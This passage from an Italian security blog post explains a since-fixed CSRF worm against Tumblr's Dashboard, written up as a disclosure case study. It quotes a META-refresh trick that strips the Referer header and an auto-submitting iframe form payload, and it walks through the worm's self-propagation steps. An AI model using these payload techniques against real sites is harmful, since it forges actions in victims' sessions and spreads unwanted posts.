E&#8217; stato proprio quest&#8217;ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da &#8220;www.tumblr.com/new/&#8221; oppure <strong>se il Referer era completamente vuoto</strong>.<br />
<strong> Il Referer è un header di user-input</strong> ovvero viene inviato dal browser al server. E&#8217; possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell&#8217;invio di richieste POST o GET.<br />
<span id="more-196"></span> Alcune tecniche &#8220;storiche&#8221; nel frattempo risolte: <a href="http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html">Forging HTTP request header with Flash</a> e <a href="http://www.cgisecurity.com/lib/XmlHTTPRequest.shtml">Forging HTTP reeuqest header with XHR</a>.<br />
Ci sono anche altre tecniche tutt&#8217;ora funzionanti che sfruttando solamente JavaScript o HTML ad esempio:</p>
<blockquote><p>&lt;META HTTP-EQUIV=&#8221;refresh&#8221; CONTENT=&#8221;0;url=http://www.attacked.site&#8221;&gt;</p></blockquote>
<p>In questo modo il browser non invierà nessun referer ad www.attacker.site Il problema di questo approccio è la sfruttabilità solo in caso di richieste GET, nel caso di Tumblr la pagina della Dashboard accetta solamente il metodo POST.</p>
<p>Il metodo utilizzato per dimostrare che il controllo del referer come filtro anti <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request  Forgery</a>, CSRF per gli amici,  è stato quello presentato da <a href="http://sla.ckers.org/forum/read.php?4,20606#msg-20629">Collin Jackson su sla.ckers.org</a>:</p>
<blockquote><p>&lt;iframe src=&#8221;javascript:&#8217;&lt;html&gt;&lt;body onload=document.forms[0].submit();&gt;&lt;form&gt;&#8230;.&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;&#8217;&#8221;;&gt;&lt;/iframe&gt;</p></blockquote>
<p>Viene invocata la funzione JavaScript passandogli tutto il necessario per creare un documento HTML ex-novo al volo. In questo modo il browser eseguirà le istruzioni al suo interno considerandolo come una entità a se stante.<br />
Il metodo in oggetto l&#8217;ho correttamente testato su Opera 9, Firefox 2 e Internet Explorer 6. <strong>Solamente Internet Explorer 7 è immune da questa tecnica</strong>.</p>
<p>Presentata la tecnica sfruttata, è superfluo analizzare il sorgente, peraltro presente nell&#8217;articolo su PI. Esso non è altro che quanto visto sopra con in aggiunta tutti i campi del form necessari alla creazione di nuovo post sul tumblelog della vittima.</p>
<p>Il grafico seguente può riassumere la vita del worm (click per ingrandire):</p>
<p><a href="http://www.matteocarli.com/files/2008/tumblr_worm_workflow.png"><img src="http://www.matteocarli.com/files/2008/tumblr_worm_workflow_small.png" alt="Tumblr worm workflow" align="middle" height="250" width="480" /></a></p>
<ol>
<li>Viene effettuato l&#8217;upload del codice sorgente del worm su un qualsiasi servizio di hosting</li>
<li>Viene inserito il worm nel tumblelog o un qualsiasi dominio in possesso all&#8217;attaccante</li>
<li>L&#8217;attaccante induce la vittima a visionare il dominio preparato ad-hoc</li>
<li>La vittima fa una richiesta alla pagina ospitate il worm</li>
<li>Il browser della vittima scarica il sorgente del worm</li>
<li>Il browser della vittima interpreta il codice sorgente del worm</li>
<li>Il worm effettua una richiesta CSRF verso la Dashboard di Tumblr&#8230;</li>
<li>&#8230;creando così un nuovo post nel tumblelog della vittima con riferimento al sorgente del worm</li>
<li>Tutti gli utenti che visiteranno un qualsiasi tumblelog compromesso reitereranno i passi dal punto 4 in poi</li>
</ol>
<p>Per rendere possibile l&#8217;attacco CSRF implementato dal worm <strong>è necessario che le vittime abbiano una sessione attiva</strong> sulla Dashboard di Tumblr.</p>
<p><strong>La vulnerabilità è stata corretta nel giro di pochi giorni</strong> ed ho deciso di presentarla solo come &#8220;case study&#8221;. Tumblr ha provveduto a cambiare il filtro sui Referer e ad implementare un token, univoco per ogni sessione, nei form utilizzati all&#8217;interno della Dashboard.</p>
<p>Avrei voluto parlarne prima ma gli impegni e <a href="http://www.owasp.org/index.php/Italy_OWASP_Day_2">l&#8217;OWASP day 2</a> me lo hanno impedito. Saluto a tal proposito <a href="http://www.gianniamato.it">Gianni Amato</a>, <a href="http://www.lastknight.com">Matteo Flora</a>, <a href="http://rosario.valotta.googlepages.com">Rosario Valotta</a> e tutti i ragazzi di OWASP che ho avuto il piacere di conoscere.</p>
<p><img src="http://www.matteocarli.com/wp-content/plugins/photo_dropper/images/cc.png" alt="Creative Commons License" align="absmiddle" border="0" height="16" width="16" /> &#8220;Oruga cerebral&#8221; photo credit: <a href="http://www.flickr.com/photos/9562498@N05/2335901378/" title="Gustavo Olivera" rel="external">Gustavo Olivera</a></p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://www.matteocarli.com/2008/04/tumblr-worm-quando-i-blog-diventano-virali.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

